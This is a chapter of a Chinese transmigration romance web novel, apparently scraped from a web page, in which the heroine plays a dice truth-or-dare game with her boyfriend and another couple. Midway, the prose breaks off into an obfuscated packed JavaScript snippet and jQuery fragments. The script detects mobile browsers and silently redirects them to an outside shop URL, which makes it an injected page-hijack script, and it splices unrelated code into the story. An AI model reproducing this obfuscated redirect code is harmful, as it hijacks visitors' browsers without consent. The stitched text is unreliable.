“你认为最重要的东西是什么?”
隋芯趴在桌上念出了牌面。
“好无聊。早知道我们应该自命题。”希正卿当即抱怨道,“好过用无聊的问题和惩罚度过这段时间。你说是吧,令颐?”
他断定冯令颐正处于最听话的时期,洋洋得意等着一个不会违背自己意愿的拥趸,结果冯令颐没有说话。
“……令颐?”希正卿再次确定。
女友语气坚决:“我们现在应该听小芯说话。”
有必要吗?希正卿心底轻笑一声。
最重要的无非是财富或者权力,或者是可以享有这两样东西的青春。作为隋家继承人,希正卿以为她会这么回答。
或者,她想要讨一个无名无姓的祝先生的欢心,违背本心地回答了对方的名字。……哈,她就会讨祝成璆的欢心,说些骗骗这些无能却又渴望着所谓“公平”的蠢货,她看不到他们才是同一立场上的人吗?连点好脸色都不肯给予他。
她会为自己的天真付出代价的。希正卿恶狠狠地想。
眼下,少女正攥着那张牌。只见她缓缓直起上半身,思忖片刻后回答:“生命。对每个人来说,生命都是最重要的,没有任何一件事值得冒着生命风险去做。”
如果是因为爱呢。她甚至能够跨越她所处的那个阶层对他的成见。对他来说,她简直无所不能。
祝成璆眼神一闪,真的脱口而出了:“如果是为了爱呢。”
此刻的她就像一堆飘下的灰色羽毛,伴随着渐渐消逝的光芒。来自过去的鸟雀被凭空折断了羽翼,已然不知所踪,她则成了群鸟的遗物,化作名为“过往”的不可名状之物遗留的只言片语。
隋芯将牌放回去,做了个向前推的动作,却显得有些无力。她睫毛轻颤,说真话的时候顶着桌子看,不看人:“那也不值得。”
生命高于爱。没有生命,爱就没有躯壳。
如果生命成了可以为了实现目标被交换的东西,那它迟早会被命运当做一种物质性的代价早早夺走。至于那个死也要实现的目标,命运不会帮你实现的。
“所有东西,包括爱,都得建立在珍惜生命的基础上……我是这么认为的。”
对自身生命怀有私欲的人,某种程度上会造福深爱自己的人,比如家人,比如朋友。太过奋不顾身以至于忽视自己的人,会让包括自己在内的所有人都陷入痛苦。
隋芯对问题保持了坦诚。她的真心甚至横跨了两个时空。只是她依旧无法直视祝成璆的眼睛。
就好像她太过直接、太过鲜血淋漓地否定了他们两个人之间的感情,这一清晰且过于清醒的否定本不该发生在他们刚交往的时候。
不过,他应该可以理解的吧?隋芯故作轻松地如是想。出生在那样的家庭,祝成璆应该很清楚,这个世界上有很多东西比冠冕堂皇的爱情来得实际。
隋芯可从没有指望祝成璆为了自己放弃什么,她倾向于给他不断做加法,他怀有私欲反倒让她感到安心。不过作为神圣的少女漫画男主角,他除了家人和远大前程,也确实匮乏到没有别的私欲了。
“怎么了?”她若无其事询问,“为什么都沉默了。”
这似乎太过沉重了,沉重到无人回应她的声音。最终还是希正卿笑了一声,表现得就好像他将隋芯的答复轻视成了少年人的为赋新词强说:“因为不知道该怎么回答。今晚你是我们这儿最忧郁的人,现在满意了吗?”
她可是隋芯,是隋家的大小姐。在那样一个辉煌庞大的家族中央蒙受供养到十九岁,她的见识应该帮她打开更加奢靡浮华的世界,而不是让她向下钻去,小小年纪开始探索起所谓生命的奥义——
但希正卿依旧记得从前看望她的场景,他当时不理解她为什么像个被抽空灵魂的躯壳那般,现在依旧不理解。
“没什么,我们开始下一局吧。”祝成璆什么都没说,若无其事岔开话题,“作为这一场的冠军,我应该有权力最先开始吧?”
他很匆忙地晃了几下,有些心不在焉。可即便他没有将精力放在游戏上,结果依旧可观到让人瞠目结舌。
四、六、五、六。
希正卿做了个投降的手势:“好的,看来不出意料的,这一局应该又是祝成璆指定了。”
他本想让冯令颐接在祝成璆后面,说不定能沾点好运气,结果隋芯一把夺过骰盅,理所当然极小幅度地晃了一下就放在桌上,把“我要作弊”明晃晃摆上台面。
“哎!您这样不太讲公德吧?”
“我觉得还行。”隋芯看似自然地用手肘捣一下祝成璆,“你说呢。”
祝成璆对她笑了笑,让隋芯看出几分强撑的勉强:“你想怎么做都可以,只要你高兴。”
“只要你高兴——什么都可以。”他甚至又强调了一遍。
隋芯随即用“你们看看”的傲娇表情面向两位年长者,依旧挑软柿子征求意见:“姐姐,你是发起者,说话很有分量,你觉得呢。”
冯令颐当然顺着她来:“当然可以。”她不知道是什么让隋芯那么忧愁多思,但她能感受到隋芯一直尽可能地妥协,某种程度上比她的这位男友还要有担当。
少女挑了挑眉:“那我就揭晓了——”
一、四、一、一。
加起来的数字竟然跟上一局相等!
脸色瞬间大变,隋芯把骰盅往桌边用力一扔,差点滑出桌:“我这局选大冒险。”
“别啊,我们俩不是还没摇吗。”希正卿打趣道,“也给我们一个垫底的机会呗。”
隋芯的坏运气让他成功笑开颜,连同冯令颐之前当众呵斥自己的不快都忘却,只想和女友一齐逗对方玩一玩。
他先扔出四、三、五、一,冯令颐则摇出六、四、三、四的好数字,还玩笑般对傻眼的少女说:“小芯,我和正卿就先上岸了。”
成功下岸的隋芯用无比胃疼的表情抽大冒险牌,一看见大冒险的内容就知道自己又下岸了。
“‘选择在场一个人公主抱’……这都是些什么内容啊,你们我一个都抱不动。”
谁叫隋芯的臂力堪比一根成年香蕉呢?她只好先硬着头皮尝试将冯令颐带离地面,结果冯令颐还没抱住她的上半身,自己就先笑了。
“我不行了……小芯……我的腰好痒……哈哈哈哈哈……我真的不行了……”
她一笑,隋芯更不可能抱得起来了,急得脸颊涨得通红。
希正卿也看笑了,甚至内心都有点期待起隋芯病急乱投医到自己这里。既然是玩游戏,就得认真玩,他愿意牺牲一下自己作为成年男性的尊严,只要隋芯抱得起来。
这份期待注定要落空,谁叫旁边还有一个嗷嗷待哺的祝成璆,就凭隋芯的分寸感也绝对不可能选择生理性厌恶的希先生。
走到祝成璆面前,少女脸上的红晕尚未完全退却,近乎蛮横地命令道:“给我隋芯一个面子,不然我就揪你衣领。”
系统忍不住吐槽:“这是什么惩罚?还有,这也不是男主卖你一个面子就能成功的事吧?”
结果一个敢威胁,一个敢答应。青年微微点头:“好的,你会成功的。”
随后在希正卿戏谑的目光,以及冯令颐“她的手臂不会脱臼吧”的担忧视线中,隋芯气沉丹田摆好姿势,将所有旖旎想法驱逐出脑袋,把这当做一场拯救尊严的战斗。
祝成璆的手在她肩膀上轻轻拍了拍,像是安抚,又像是在掂量什么时候才是好时候。结果就在隋芯有所松懈的刹那,祝成璆一下子抱住了她的脖颈,将身体抬上她根本不可靠的怀抱里。
会被勒死的……真的会被勒死的……他不会是想要报之前的仇吧……咦?他是不是在她身上挂了三秒钟?
见状,系统肃然起敬:“这就是男主角级别的钢铁核心啊,真可怕。”
希正卿都震惊了:“我知道你练得好,没想到练得这么好。”震惊完还挑衅隋芯,“你没见过他的身材吧?我就见过,泡温泉的时候看见的,那肌肉线条可漂亮了。”
“你在这儿跟我炫耀什么,你跟他有什么交情吗?”面对别人或许还有冷静可言,但这可是希正卿,《蔷薇恶作剧》粉丝投票臭鸡蛋榜排第一,隋芯忍不了,“真是神经病……我要看随时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920923|208698||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可以看。我要是比你还要不珍惜喜欢的人,你信不信我会命令他当众展示!”
希正卿纳闷:“我哪里不珍惜令颐了。”
祝成璆则立马扭头看向气势汹汹的少女,对方意识到什么,立马避开了他的眼神。
但很快,隋芯又理直气壮起来,理直气壮到有点嚣张。毕竟这可是全年龄向少女漫画的世界啊!就算程韶提高了受众年纪,他也只是口嗨,更不用说本作第二正面角色(第一正面角色当然是改进版的她自己)祝成璆了。
总而言之,这些男角色都是精致的阳/痿状态。
“但我才不要他难堪呢。你可是让姐姐难堪了不少次。”隋芯道,“你不用问她,她当然不会这么说。”
希正卿摊手,竟然没生气:“行,反正怎么样你都有理。”他摊开双手,开始活学活用激将法,“既然你都把我当做坏人看待了,那我们也没有玩下去的必要了。”
他是还想玩下去的,隋芯真是太好玩了,除了喜欢无孔不入地指责他,着实是个有趣的游戏伙伴。
但他确实高估了自己对隋芯的重要性,而且高估太多太多了。“行啊,我累了。”隋芯欣然笑纳,“我刚才为了抱他,连吃奶的劲儿都使出来了,我现在要回去睡觉了。”
你刚才使劲了吗?根本没有吧!
希正卿差点脱口而出,结果一看到祝成璆去勾隋芯的手,他突然心里很不是滋味。
“我有话要跟你说。”手部传来温暖的回握感,祝成璆终于有了点落地的踏实感。
隋芯跟他手牵手,觉得这样确实很有恋人的感觉,嘴上坦然道:“干嘛特意告诉我,我们住那么近,你到时候顺便多留我一会儿不就行了吗,这么郑重其事的。”
她回过头,对冯令颐晃晃手:“姐姐,我们先回去休息了。”
“好。晚安。”
冯令颐微笑回应。
两个人就这么牵着手,连坐电梯的时候都要牵着,一路沉默地走回房间所在的楼层,到了即将分别的时候。
再次被突然紧拥,这次因为他们是恋人,祝成璆甚至没有任何预告。隋芯感受到了一瞬间的惊讶,但她很快平静下来,任由他将她覆盖在怀抱里。他的脸颊甚至蹭过了她的脸颊,再不舍地埋进她的脖颈里。
“……我很难受。”祝成璆其实并不那么擅长表达,在他所在的大家庭,父亲母亲、弟弟妹妹都要比他擅长表达自己。
隋芯则是他平生见过的两极的统一,矛盾的极致统一。
他擅长压抑自己,但他现在几乎要抽泣起来:“我听见你那么说,我心里特别难受。你的父母是不是对你太坏了?你不应该在这个年纪那么想的……”
他不能接受隋芯会有生命焦虑。他很不能接受。她不应该是呼风唤雨的国王陛下吗?可为什么活下去都如此艰难。
“虐心值+20。当前虐心值:60。”
他不知道真相,也难怪他会这么推测。“这没什么,我清楚他们是什么样的人。”隋芯轻拍祝成璆的后背,用一个不那么严重的问题粉饰太平,“其实很多需要子女竞争资源的家族比隋家还要可怕,我起码是独生女。”
“不要想那么多,这不是你应该劳心劳力的问题。”她说,“我很高兴你生活在一个不需要考虑这个问题的家庭里。”
不仅高兴,甚至羡慕。
因为曾经,隋芯生活在一个比祝家更加完美的家庭中。
少女闭上眼睛,微笑时像是在做梦:“你得把礼物好好转交给家人,给他们看看录像,知道吗?要让他们高兴,不要让他们担心你。”
“我明白。”近在咫尺的青年抱得更紧,“我很好,你也不要担心我。”
“我担心你什么了?这么自恋。”
“我喜欢你。”
“……不要答非所问!我没有在跟你说这件事情啦!而且我知道。”
祝成璆只是重复:“我很喜欢你。”
就算他的喜欢不值一提。
“好感值+5。当前好感值:85。”
“虐心值-5。当前虐心值:55。”